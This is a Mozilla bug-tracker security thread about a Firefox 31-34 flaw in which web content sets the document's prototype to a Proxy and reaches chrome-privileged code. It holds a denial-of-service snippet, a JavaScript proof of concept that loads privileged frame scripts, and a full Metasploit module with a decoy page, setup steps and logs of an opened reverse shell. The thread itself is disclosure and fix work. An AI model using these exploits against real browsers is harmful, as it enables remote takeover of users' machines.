Setting prototype to a Proxy object allows content to influence chrome:// code

RESOLVED FIXED

Status

()

defect
RESOLVED FIXED
5 years ago
2 years ago

People

(Reporter: joev, Assigned: bholley)

Tracking

({csectype-priv-escalation, sec-critical})

34 Branch
Points:
---
Dependency tree / graph
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox35 fixed, firefox36 fixed, firefox37 fixed, firefox38 fixed, firefox-esr3139+ fixed)

Details

(Whiteboard: Fixed in Fx35, probably by bug 987794. Fixed on ESR31: see bug 1110614 and bug 1125015)

Attachments

(1 attachment)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36

Steps to reproduce:

document.__proto__=Proxy.create({getPropertyDescriptor:function(){ while(1) {} }});


Actual results:

Permanently hangs the browser.

By inserting a console.log call you can see our function gets called all over the place. It does not seem to be able to actually return a value, but I think you can force an error to be thrown in chrome code that prevents the code from continuing. This might lead to unexpected results when initialization code does not run to completion.


Expected results:

I've not figured out the exact problem here, but this should not be able to happen. If anything it can cause a simple DoS. With some creativity it might be able to do more, there are a lot of affected code paths worth exploring.

This issue affects the latest stable release, but seems to be fixed in the nightlies.
Note that the Javascript I posted above must be in a <script> in the document to reproduce the DoS (running from console will not repro the issue).
I can reproduce on 34, but not on 35 or later (to be released this week).

Can you reproduce on 35 or 36 at all? (as you already indicated nightlies didn't reproduce for you)
Flags: needinfo?(joev)
I cannot reproduce on 35 either. Looks like the issue is resolved there.
Flags: needinfo?(joev)
This is probably a dupe of another bug then, perhaps one with a sec rating that I don't have access to.
(In reply to joev from comment #4)
> This is probably a dupe of another bug then, perhaps one with a sec rating
> that I don't have access to.

Yeah, I looked already, couldn't find anything. :-\

Waldo, do you know?
Flags: needinfo?(jwalden+bmo)
Not immediately, off the top of my head.  Skimming XrayWrapper.cpp filelog doesn't suggest anything in the relevant time frame, either.  (Bug 976148 would have been my guess, but it's back in June and is targeted [accurately, I believe] at 33.)

Conceivably efaust changed something about prototypes that affected this?  Scraping bottom of the barrel here, kind of.  Also poking evilpie, who just did an audit of the prototype-accessing spots in our code and might have insight here.
Flags: needinfo?(jwalden+bmo)
Flags: needinfo?(evilpies)
Flags: needinfo?(efaustbmo)
Component: Untriaged → General
Product: Firefox → Core
Component: General → Untriaged
I don't have any good insigh, except that my prototype audit probably didn't catch anything like that. i.e. the likely cross-object and contect to chrome cycle happening here.
Flags: needinfo?(evilpies)
ni?myself to check whether this affects the ESR 31 branch and whether we need to worry about fixing it there.
Component: Untriaged → JavaScript Engine
Flags: needinfo?(dveditz)
You can abuse this to gain a reference to a chrome:// window. Just run this in webconsole:

    var props = {};
    props['has'] =function(){ window.x=window.open("chrome://browser/content/browser.xul", "x")();}
    document.__proto__=Proxy.create(props)

Then click anywhere on the page. Lots of chrome windows will pop up. `window.x` will be a pointer to a chrome-privileged one.

Will poke around a bit more to see if I can gain full RCE.
Sorry, I mucked up the PoC. Remove the extra pair of parens after the window.open() call to make it work.
Just like in Marius's webidl exploit, you can open the privileged window with the 'chrome' property and navigate it to a data URI, after which the `messageManager` global is accessible to content.

However, unlike the webidl exploit, loading an <iframe> with mozBrowser property into the data:// window does not create a new browser instance, so I am blocked there from RCE (from what I can tell).
Err, nope. I am stupid and forgot a comma in a data URI. You can abuse this vulnerability to gain RCE. Will post a PoC in a few moments.
Remote code execution PoC (make sure you have the browser console open). You'll see I can access Components.utils.

<script>
  var props = {};
  props.has = function(){
    if (!window.top.x) {
      window.top.x=window.open("chrome://browser/content/browser.xul", "x", "chrome");
      window.top.x && setTimeout(function(){
        x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';

        setTimeout(function(){
          x.messageManager.loadFrameScript('data:,throw Components.utils', false);
        }, 100)
      }, 100)
    }
  }
  document.__proto__=Proxy.create(props)
</script>
We can just bisect this right? Will do that now.
m-c fix range:

https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=b85c260821ab&tochange=229801d17f7e

It's probably bug 987794. Bobby, what do you think?
Flags: needinfo?(bobbyholley)
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-critical
Is ESR31 affected by this issue?
I couldn't reproduce it on ESR 31.0.4 or Firefox 30. The __proto__ hooking vuln is there (as is the ability to influence chrome code from content), but AFAICT chrome code does not make the right calls into document when the window is clicked. If I log all the args to 'has', I see that Firefox 30 and latest ESR are missing a call to 'getElementById' that is present on 31-34.
Thanks for checking!
Al, think we should consider 31 potentially affected given comment 17 - it sounds like the given PoC doesn't work for somewhat circumstantial reasons, but there's a decent chance that somebody could find a similar exploit for 31 if they tried.

Realistically, I don't think we can backport, but we should at least embargo.
Depends on: CVE-2014-8636
Flags: needinfo?(dveditz)
Whiteboard: Fixed in Fx35, probably by bug 987794
I think there may be more defense-in-depth we can do by examining the PoC. I've got it on my list to do sometime in the near future. Keeping the NI for now.
(In reply to Bobby Holley (Busy with media, don't ask for DOM/JS/XPConnect things) from comment #19)
> Al, think we should consider 31 potentially affected given comment 17 - it
> sounds like the given PoC doesn't work for somewhat circumstantial reasons,
> but there's a decent chance that somebody could find a similar exploit for
> 31 if they tried.

Agreed. Although my RCE attack fails, current ESR is still vulnerable to the __proto__ hooking bug and the originally reported DoS attack, which is a bad symptom. Conceivably someone could abuse it to find a different path to RCE.
Ok. We'll embargo this until ESR31 EOL, which is when Firefox 39 ships.
Whiteboard: Fixed in Fx35, probably by bug 987794 → [embargo until ESR31 EOL] Fixed in Fx35, probably by bug 987794
Hi Mozilla folks -- I handle vulnerability disclosure a lot here at Rapid7, and Joe (a Rapid7 employee) reported this bug to you on January 20, 2015. According to our disclosure policy (found here: https://rapid7.com/disclosure.jsp), we inform CERT/CC 15 days after initial disclosure to the vendor, and then the public 60 days after.

Looking at the release schedules for ESR31 and FF39, it looks like you're planning on fixing and releasing well within the 60 day period, so this shouldn't be a problem for you, but I wanted to be sure you were aware.
Depends on: CVE-2015-0802
(In reply to joev from comment #13)
> Remote code execution PoC (make sure you have the browser console open).
> You'll see I can access Components.utils.

I combed through this PoC. It didn't seem to work out of the box on FF34, but I nonetheless extracted a couple of key bugs from it:

> 
> <script>
>   var props = {};
>   props.has = function(){

This is bug 987794, as already discussed. This should be fixed on FF35 and up.

>     if (!window.top.x) {
>       window.top.x=window.open("chrome://browser/content/browser.xul", "x",
> "chrome");

This is bug 1092388, whereby content can open a chrome window. This should be fixed on FF35 and up.

>       window.top.x && setTimeout(function(){
>         x.location='data:text/html,<iframe mozbrowser
> src="about:blank"></iframe>';

As best as I can tell, the mozbrowser is not have any affect here, because the principal of this content is unprivileged (and this nsGenericHTMLFrameElement::GetReallyIsBrowserOrApp should be returning false). If I've misunderstood that joe (and the mozbrowser _does_ have an effect) please let me know.

>         setTimeout(function(){
>           x.messageManager.loadFrameScript('data:,throw Components.utils',
> false);

bug 1124898.
Depends on: 1092388
Flags: needinfo?(bobbyholley)
(In reply to Bobby Holley (Busy with media, don't ask for DOM/JS/XPConnect things) from comment #24)
> It didn't seem to work out of the box on FF34,

I am testing on 34.0.5 on OSX, if that helps. Still have to click, or close a tab, to trigger the bug.

> As best as I can tell, the mozbrowser is not have any affect here, because
> the principal of this content is unprivileged (and this
> nsGenericHTMLFrameElement::GetReallyIsBrowserOrApp should be returning
> false). If I've misunderstood that joe (and the mozbrowser _does_ have an
> effect) please let me know.

From what I can see the PoC won't work without the `mozbrowser` attribute. Without the mozbrowser attribute:, `x.messageManager.childCount` returns "0", so loading a frame script does not seem to have any effect.
(In reply to Tod Beardsley from comment #23)

> Looking at the release schedules for ESR31 and FF39, it looks like you're
> planning on fixing and releasing well within the 60 day period, so this
> shouldn't be a problem for you, but I wanted to be sure you were aware.

We aren't fixing this issue for ESR31, which doesn't seem actively affected except as a DOS attack, which doesn't meet the criteria for addressing in ESR. This is effectively fixed in Firefox 35 and onwards per comment 15. Our only work here is to do a deeper examination of things to look to see if there are larger issues at play.

I will say that a 60 day windows for public disclosure of a bug is not terribly large. I'd suggest that you change this to at least 90 days, as Google is doing for their Project Zero. We work on a six week (roughly 45 day) product cycle so if this misses a particular release for some reason, you may very well zero day the public because two releases will always take longer than 60 days.
Depends on: 1125015
Flags: needinfo?(efaustbmo)
(In reply to Al Billings [:abillings] from comment #26)
> We aren't fixing this issue for ESR31

Correction - we are fixing it on two levels for ESR31 (barring unforseen problems during review, approval, and landing) - see bug 1110614 and bug 1125015. These handle the first and second issue described on comment 24. They're ESR31-specific fixes, which is why they didn't show up before.

> I will say that a 60 day windows for public disclosure of a bug is not
> terribly large. I'd suggest that you change this to at least 90 days, as
> Google is doing for their Project Zero. We work on a six week (roughly 45
> day) product cycle so if this misses a particular release for some reason,
> you may very well zero day the public because two releases will always take
> longer than 60 days.

Amen.
Depends on: 1110614
[Tracking Requested - why for this release]: sec-critical. This should get fixed by two other bugs, but it would still be good to track this bug specifically, too.
Assigning to Bobby, who seems to be working on this.
Assignee: nobody → bobbyholley
(In reply to Bobby Holley (Busy with media, don't ask for DOM/JS/XPConnect things) from comment #27)
> Correction - we are fixing it on two levels for ESR31 (barring unforseen
> problems during review, approval, and landing) - see bug 1110614 and bug
> 1125015. These handle the first and second issue described on comment 24.
> They're ESR31-specific fixes, which is why they didn't show up before.

Awesome, thanks for following through here Bobby.
OS: Mac OS X → All
Hardware: x86 → All
(In reply to joev from comment #25)
> From what I can see the PoC won't work without the `mozbrowser` attribute.
> Without the mozbrowser attribute:, `x.messageManager.childCount` returns
> "0", so loading a frame script does not seem to have any effect.

Yes, but mozbrowsers aren't even enabled on desktop builds, and even when they're enabled, they require a permission on the domain in order to use.

Have you tried reproducing with a fresh Firefox profile? My guess is that you enabled dom.mozBrowserFramesEnabled during testing, and granted the "browser" permission to your test domain. See the logic here:

http://mxr.mozilla.org/mozilla-central/source/dom/html/nsGenericHTMLFrameElement.cpp#287

Can you confirm that you did both of those thing? If you didn't, that would be very interesting.


(In reply to joev from comment #30)
> (In reply to Bobby Holley (Busy with media, don't ask for DOM/JS/XPConnect
> things) from comment #27)
> > Correction - we are fixing it on two levels for ESR31 (barring unforseen
> > problems during review, approval, and landing) - see bug 1110614 and bug
> > 1125015. These handle the first and second issue described on comment 24.
> > They're ESR31-specific fixes, which is why they didn't show up before.
> 
> Awesome, thanks for following through here Bobby.

No problem! Thanks for the great bug report. :-)
Flags: needinfo?(joev)
Flags: needinfo?(abillings)
(In reply to Bobby Holley (Busy with media, don't ask for DOM/JS/XPConnect things) from comment #31)
> (In reply to joev from comment #25)
> > From what I can see the PoC won't work without the `mozbrowser` attribute.
> > Without the mozbrowser attribute:, `x.messageManager.childCount` returns
> > "0", so loading a frame script does not seem to have any effect.
> 
> Yes, but mozbrowsers aren't even enabled on desktop builds, and even when
> they're enabled, they require a permission on the domain in order to use.
> 
> Have you tried reproducing with a fresh Firefox profile? My guess is that
> you enabled dom.mozBrowserFramesEnabled during testing, and granted the
> "browser" permission to your test domain. See the logic here:

Hrmm, I have no idea how this works then. I don't see that option in my `about:config`, and I have reset my profile several times during testing. I know this same logic also worked in the webidl exploit I reversed from the Mariusz's Pwn2Own bug reports in early 2014, and that was tested on several separate Firefox installs (on several different OSes) in-house here. I'll load up 34 stable in a fresh Ubuntu VM and make sure I can reproduce it there as well.
Flags: needinfo?(joev)
Yeah, works out-of-the box on "Firefox 31.0" - "Mozilla Firefox for Ubuntu: Canonical". No custom configuration.

    msf exploit(firefox_proxy_prototype) > [*] [2015.01.23-14:02:11] Using URL: http://0.0.0.0:8080/JmeiYJ122ELI
    [*] [2015.01.23-14:02:11]  Local IP: http://10.6.0.81:8080/JmeiYJ122ELI
    [*] [2015.01.23-14:02:11] Server started.
    [*] [2015.01.23-14:03:11] 10.6.0.81        firefox_proxy_prototype - Gathering target information.
    [*] [2015.01.23-14:03:11] 10.6.0.81        firefox_proxy_prototype - Sending response HTML.
    [*] Command shell session 1 opened (10.6.0.81:4444 -> 10.6.0.81:56105) at 2015-01-23 14:03:14 -0600
    whoami
    [*] exec: whoami
     
    root

Now I have a better question, how the hell does this get me a *root* shell! I am signed in as a normal user and launched through Ubuntu's Unity interface. Maybe I messed something up, let me re-install all the things from scratch and try once more...
Can you break in nsGenericHTMLFrameElement::BrowserFramesEnabled and see if that's returning true or false?
Also, please try with an official Mozilla build (or build yourself from source), so that we can rule out any surreptitious modifications by Canonical (though those would be interesting as well). ;-)
(In reply to Al Billings [:abillings] from comment #26)

> I will say that a 60 day windows for public disclosure of a bug is not
> terribly large. I'd suggest that you change this to at least 90 days, as
> Google is doing for their Project Zero.

Google does 90 days, CERT/CC does 45 (http://www.cert.org/vulnerability-analysis/vul-disclosure.cfm), so I feel like a 60 day clock is pretty reasonable. We've held back a week or two before. I'm happy to debate the merits of various disclosure policies, but I doubt this bug report is the right forum.

At any rate, I'm happy to make reasonable delays if you're close to a fix (unlike some disclosures ahem Google ahem apparently). I think I'm misunderstanding your release cycles, and I cannot see bug 1110614.

The calendar for disclosure I'm looking at is:

Jan 20, 2015 (Tue): Initial disclosure to the vendor
Feb 04, 2015 (Wed): Disclosure to CERT/CC
Mar 23, 2015 (Mon): Public disclosure

If you need an extra week or two for backports, I'm sure we can accommodate. I'm sure you already have contacts at CERT/CC, so I'd expect you'll get something from them pretty soon after we report there.
(In reply to Bobby Holley (Busy with media, don't ask for DOM/JS/XPConnect things) from comment #35)
> Can you break in nsGenericHTMLFrameElement::BrowserFramesEnabled and see if
> that's returning true or false?

Arghh, about 2 hours ago I would have been able to do this. Today is my last day at Rapid7 so I was cleaning up files and deleted my mozilla-central repo. I probably won't be able to set up a dev environment until sometime this weekend, but I can give it a shot then and let you know.

> Now I have a better question, how the hell does this get me a *root* shell!

Sorry, ignore this, I am a moron. I was running my msf module as a background job, so that "whoami" command was executing on my local box (where I was running msf as root). *headdesk* *headdesk*

I downloaded the 31.0 stable release for linux x86-64 from here:

https://ftp.mozilla.org/pub/mozilla.org/firefox/releases/31.0/linux-x86_64/en-US/

And still successfully get a shell.
Component: JavaScript Engine → XPConnect
(In reply to joev from comment #38)
> I downloaded the 31.0 stable release for linux x86-64 from here:
> 
> https://ftp.mozilla.org/pub/mozilla.org/firefox/releases/31.0/linux-x86_64/
> en-US/
> 
> And still successfully get a shell.


Is this still with the exact code in comment 13? I don't see anything shell-related in there.

Also, I thought you said that it didn't reproduce with 31? Or are you saying that it does reproduce with 31, but _not_ with ESR31?
February 23 is when Firefox 36 is released and April 6 is when Firefox 37 comes out. See https://wiki.mozilla.org/RapidRelease/Calendar
Flags: needinfo?(abillings)
Flags: needinfo?(abillings)
Flags: sec-bounty?
Clearing the re-added needinfo?. I'm on this, man. :-) We just mid-aired.
Flags: needinfo?(abillings)
Flags: needinfo?(joev)
For posterity: I downloaded a FF33 release build (on mac), and ran the PoC in comment 13 (with the web console open) and didn't see anything indicating privilege escalation. Given that joe is talking about privilege escalation, his shell code presumably differs in some key ways.

This is important because joe says he's loading a mozbrowser, which is bad and doesn't make sense to me. Hopefully he can help us get to the bottom of this.
Sorry guys, took way longer than I expected to rebuild my dev environment. Replying to comments inline:

> ran the PoC in comment 13 (with the web console open) and didn't see anything indicating privilege escalation.

The exception shows up in the Browser Console, iirc it says something about not being able to print a wrapped native (the point being that I can access the privileged Components.utils object).

> Given that joe is talking about privilege escalation, his shell code presumably differs in some key ways.

Yes, sorry, the code I was running there was from a Metasploit module that I had written for this vuln, it injects some xpcom code to simulate a reverse shell payload. The PoC I uploaded here just throws an error that ends up in the Browser Console. Besides the payload they are exactly the same.

I've got the code compiling from the tag GECKO340_2014112606_RELBRANCH (make sure to use ccache-3.1 or below). Bobby, you are right, the GetReallyIsBrowserOrApp() method is always bailing for me on the nsGenericHTMLFrameElement::BrowserFramesEnabled() check. However, I still see the same pattern: when `mozbrowser` is used, x.messageManager.childCount is 1. Without it, childCount is 0.

I tracked the bug a bit, it seems like for some reason when the document has a mozbrowser in it, an nsFrameMessageManager is initialized with the `mozilla::dom::ipc::MM_BROADCASTER` flag set to true, so it gets added as a child. This does not happen when I omit the `mozbrowser` attribute.

I attached the stacktrace. I bounced through the code a bit but did not really make any progress as to *why* this happens; I'll dig a bit more when I have time.
Flags: needinfo?(joev)
The bug starts here in nsFrameLoader::AddTreeItemToTreeOwner:

    // Force mozbrowser frames to always be typeContent, even if the
    // mozbrowser interfaces are disabled.
    nsCOMPtr<nsIDOMMozBrowserFrame> mozbrowser =
      do_QueryInterface(mOwnerContent);
    if (mozbrowser) {
      bool isMozbrowser = false;
      mozbrowser->GetMozbrowser(&isMozbrowser);
      isContent |= isMozbrowser;
    }

This function is called by nsFrameLoader::MaybeCreateDocShell, and the return value is assigned to mIsTopLevelContent:

    
    mIsTopLevelContent = AddTreeItemToTreeOwner(mDocShell, parentTreeOwner, parentType, docShell);


mIsTopLevelContent is then consulted by EnsureMessageManager(), which bails early when mIsTopLevelContent is false (due to `mozbrowser` not being set on the frame):

    if (!mIsTopLevelContent && !OwnerIsBrowserOrAppFrame() && !mRemoteFrame) {
      return NS_OK;
    }

EnsureMessageManager then goes on to call InitWithCallback(), which calls AddChildManager().

I am not sure of all the exact ramifications here, but when EnsureMessageManager() does not bail early, the frame's messageManager is added as a child to its parent messageManager, which in the PoC is our ChromeWindow.
I'm not really sure if this is a bug or expected behavior.
Flags: needinfo?(bobbyholley)
Attaching the metasploit module that exercises the issue described by Joe. Drop this in your ~/.msf4/modules/exploits/ and you're good to go.


--CUT HERE--

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/exploitation/jsobfu'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox Proxy Prototype Privileged Javascript Injection',
      'Description'    => %q{
        This exploit gains remote code execution on Firefox 31-34. Requires the user
        to click anywhere on the page.
      },
      'License' => MSF_LICENSE,
      'Author'  => [
        'joev' # discovery and metasploit module
      ],
      'DisclosureDate' => "Jan 20 2014",
      'References' => [
      ],
      'Targets' => [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' => 'firefox',
            'Arch' => ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' => %w{ java linux osx solaris win },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::FF,
        :ua_ver  => lambda { |ver| ver.to_i.between?(31, 34) }
      }
    ))

    register_options([
      OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
    ], self.class)
  end

  def on_request_exploit(cli, request, target_info)
    send_response_html(cli, generate_html(target_info))
  end

  def default_html
    "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
  end

  def generate_html(target_info)
    key = Rex::Text.rand_text_alpha(5 + rand(12))
    frame = Rex::Text.rand_text_alpha(5 + rand(12))
    r = Rex::Text.rand_text_alpha(5 + rand(12))
    opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin

    js = js_obfuscate %Q|
      var opts = #{JSON.unparse(opts)};
      var key = opts['#{key}'];
      var props = {};
      props.has = function(n){
        if (!window.top.x && n=='nodeType') {
          window.top.x=window.open("chrome://browser/content/browser.xul", "x",
            "chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
          if (window.top.x) {
            Object.setPrototypeOf(document, pro);
            setTimeout(function(){
              x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';

              setTimeout(function(){
                x.messageManager.loadFrameScript('data:,'+key, false);
                setTimeout(function(){
                  x.close();
                }, 100)
              }, 100)
            }, 100);
          }
        }
      }
      var pro = Object.getPrototypeOf(document);
      Object.setPrototypeOf(document, Proxy.create(props));
    |

    %Q|
      <!doctype html>
      <html>
        <body>
          <script>
            #{js}
          </script>
          #{datastore['CONTENT'] || default_html}
        </body>
      </html>
    |
  end
end

--CUT HERE--
Here's how to use the module, if you are not familiar with msf. First, save the exploit to ~/.msf4/modules/exploits/multi/browser/firefox_proxy_prototype.rb

	# Clone msf somewhere nice
	$ git clone git@github.com:rapid7/metasploit-framework.git
	$ cd metasploit-framework

	# Install ruby
	$ rvm install 2.1.5
	$ rvm gemset create msf
	$ rvm use 2.1.5@msf

	# Install gems
	$ bundle install --without=db

	# Start msf
	$ ./msfconsole -n
	<snip>
	... some errors and garbage ...
	</snip>
	msf> use exploit/multi/browser/firefox_proxy_prototype
	msf> set LHOST <YOUR-EXTERNAL-IP>
	msf> set SRVHOST 0.0.0.0
	msf> run -j

Now open your browser and go to the URL that was printed to the console. Click anywhere on the page. You should get a session in msf. You can attach to this session with the `sessions -i 1` command:

	msf>
	[*] Command shell session 1 opened (10.10.9.82:4444 -> 10.10.9.82:65031) at 2015-02-02 17:03:49 -0600

	msf exploit(firefox_proxy_prototype) > sessions -i 1
	[*] Starting interaction with 1...

	ls /
	bin
	boot
	cdrom
	dev
	etc
	home
	initrd.img
	lib
	lib64
	lost+found
	media
	mnt
	opt
	proc
	root
	run
	sbin
	srv
	sys

etc.
Group: dom-core-security
(In reply to joev from comment #46)
> The bug starts here in nsFrameLoader::AddTreeItemToTreeOwner:
> 
>     // Force mozbrowser frames to always be typeContent, even if the
>     // mozbrowser interfaces are disabled.
>     nsCOMPtr<nsIDOMMozBrowserFrame> mozbrowser =
>       do_QueryInterface(mOwnerContent);
>     if (mozbrowser) {
>       bool isMozbrowser = false;
>       mozbrowser->GetMozbrowser(&isMozbrowser);
>       isContent |= isMozbrowser;
>     }
> 
> This function is called by nsFrameLoader::MaybeCreateDocShell, and the
> return value is assigned to mIsTopLevelContent:
> 
>     
>     mIsTopLevelContent = AddTreeItemToTreeOwner(mDocShell, parentTreeOwner,
> parentType, docShell);
> 
> 
> mIsTopLevelContent is then consulted by EnsureMessageManager(), which bails
> early when mIsTopLevelContent is false (due to `mozbrowser` not being set on
> the frame):

Ah, I see! So this just depends on whether or not we fake being a top-level docshell, and isn't really a case of us exposing stuff to content where we wouldn't otherwise. In particular, I'd imagine that doing window.parent.messageManager without the mozbrowser would give the same result as "window.messageManager" does in the PoC. The real bugs are still the fact that (a) content is loading things in a chrome docshell and (b) we're exposing the message manager based on the docshell type, not by the principal of the page.

Looks like boris reviewed this change in part 1 of bug 757137. It does seem like it would be better to use some sort of GetReallyIsMozbrowser for the isContent override here, though I'm not sure it's worth fussing about (and certainly isn't security-sensitive). Boris, what do you think?
Flags: needinfo?(bobbyholley)
Flags: needinfo?(bzbarsky)
Joe and Tod - I really appreciate the hard investigative work you've done here. Bounty committee, please take note. :-)
All this code is doing is saying that <html:iframe mozbrowser> is going to be a content-type docshell even if its parent is chrome-type.  Just like <xul:iframe type="content">.  Or <html:iframe mozframetype="content">.

It's not clear to me why this is a problem, exactly, except insofar as we then allow having a message manager for the toplevel content docshell.
Flags: needinfo?(bzbarsky)
Can we close this bug because the various blocking things making up this bug have been fixed?  You could file a followup for the mozbrowser thing, assuming that it isn't security sensitive.
Flags: needinfo?(bobbyholley)
(In reply to Andrew McCreight [:mccr8] from comment #53)
> Can we close this bug because the various blocking things making up this bug
> have been fixed?  You could file a followup for the mozbrowser thing,
> assuming that it isn't security sensitive.

Yes, I think we can close this bug. I don't think the mozbrowser thing is actually a problem.
Flags: needinfo?(bobbyholley)
Just sent the details off to CERT/CC. I'm sure they'll contact you about it.

Thanks!
Status: NEW → RESOLVED
Closed: 5 years ago
Resolution: --- → FIXED
> In particular, I'd imagine that doing
> window.parent.messageManager without the mozbrowser would give the same
> result as "window.messageManager" does in the PoC. The real bugs are still
> the fact that (a) content is loading things in a chrome docshell and (b)
> we're exposing the message manager based on the docshell type, not by the
> principal of the page.


Ah, I had a feeling I was missing something obvious. Thanks for explaining! Sounds like mozbrowser is working as expected.
(In reply to joev from comment #56)
> > In particular, I'd imagine that doing
> > window.parent.messageManager without the mozbrowser would give the same
> > result as "window.messageManager" does in the PoC. The real bugs are still
> > the fact that (a) content is loading things in a chrome docshell and (b)
> > we're exposing the message manager based on the docshell type, not by the
> > principal of the page.
> 
> 
> Ah, I had a feeling I was missing something obvious. Thanks for explaining!
> Sounds like mozbrowser is working as expected.

Well, I agree that it's still weird that mozbrowser does anything at all in a build where it's not enabled - it just turns out to be a silly detail. It threw me for a loop too. :-)
Flags: sec-bounty? → sec-bounty+
Hi all -- just to update, I have a CVE from CERT/CC on this issue: CVE-2015-0932.

I understand Mozilla has their own stash of CVEs, so if you plan to pull one off the stack for this, please reply here and I'll let CERT/CC know that I can return CVE-2015-0932 to the unused pool.

Thanks!
Flags: needinfo?(bobbyholley)
Al deals with our CVEs and disclosure stuff.
Flags: needinfo?(bobbyholley) → needinfo?(abillings)
Pulling in Dan.

For Mozilla code, we assign our own CVEs. It isn't clear that this bug requires one as it was addressed in other, internally found, fixes. No code was checked in here as a result of this bug and Bobby's bug 987794 with CVE-2014-8636 was involved.
Flags: needinfo?(abillings) → needinfo?(dveditz)
Without additional code fixes I don't think we can assign a separate CVE. We should, however, update the existing advisory with additional credits and description, and raise the severity.
Flags: needinfo?(dveditz)
I've updated https://www.mozilla.org/en-US/security/advisories/mfsa2015-09/ to reflect this bug as well as the original.
Group: dom-core-security
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #63)
> So, uh, it looks like this was disclosed. 
> https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-
> disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636

This was planned, IIRC - see comment 23.
Ok.  The whiteboard says embargoed till ESR31 EOL ...
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #65)
> Ok.  The whiteboard says embargoed till ESR31 EOL ...

We ended up fixing this for esr31, see comment 27. Not sure whether there's anything else sensitive in this bug.
Group: core-security
Flags: needinfo?(dveditz)
Whiteboard: [embargo until ESR31 EOL] Fixed in Fx35, probably by bug 987794 → Fixed in Fx35, probably by bug 987794. Fixed on ESR31: see bug 1110614 and bug 1125015
Duplicate of this bug: 1160825
You need to log in before you can comment on or make changes to this bug.